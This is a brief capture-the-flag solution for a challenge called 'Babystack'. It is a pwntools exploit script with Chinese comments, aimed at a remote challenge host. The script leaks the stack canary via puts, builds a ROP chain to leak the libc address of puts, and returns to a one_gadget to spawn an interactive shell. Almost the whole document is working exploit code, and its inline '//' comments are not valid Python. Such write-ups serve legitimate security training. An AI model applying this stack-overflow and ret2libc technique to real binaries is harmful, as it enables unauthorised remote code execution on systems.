Babystack

#!/usr/bin/env python
context.log_level = 'debug'
from pwn import *
elf=ELF('./babystack')
libc=ELF('./libc-2.23.so')
p=remote('111.198.29.45',30865)
prdi_addr=0x400a93
main_addr=0x400908
one_gadget=0x45216//找到库中('bin/sh')的相对地址
put_plt=elf.plt['puts']
put_got=elf.got['puts']
p.sendlineafter('>> ','1')
p.sendline('a'*0x88)
p.sendlineafter('>> ','2')
p.recvuntil('a'*0x88+'\n')
canary=u64(p.recv(7).rjust(8,'\x00'))//利用puts函数泄露出canary,之前read时读入0x88个a和1个/n，占用canary的/x00
print hex(canary)
p.sendlineafter('>> ','1')
payload='a'*0x88+p64(canary)+'a'*8+p64(prdi_addr)+p64(put_got)+p64(put_plt)+p64(main_addr)
//rop链泄露put函数地址
p.sendline(payload)
p.recv()
p.sendlineafter('>> ','3')
put_addr=u64(p.recv(8).ljust(8,'\x00'))
print hex(put_addr)
libc_base=put_addr-libc.symbols['puts']
getshell=libc_base+one_gadget
p.sendlineafter('>> ','1')
payload1='a'*0x88+p64(canary)+'a'*8+p64(getshell)
p.sendline(payload1)
p.sendlineafter('>> ','3')
p.interactive()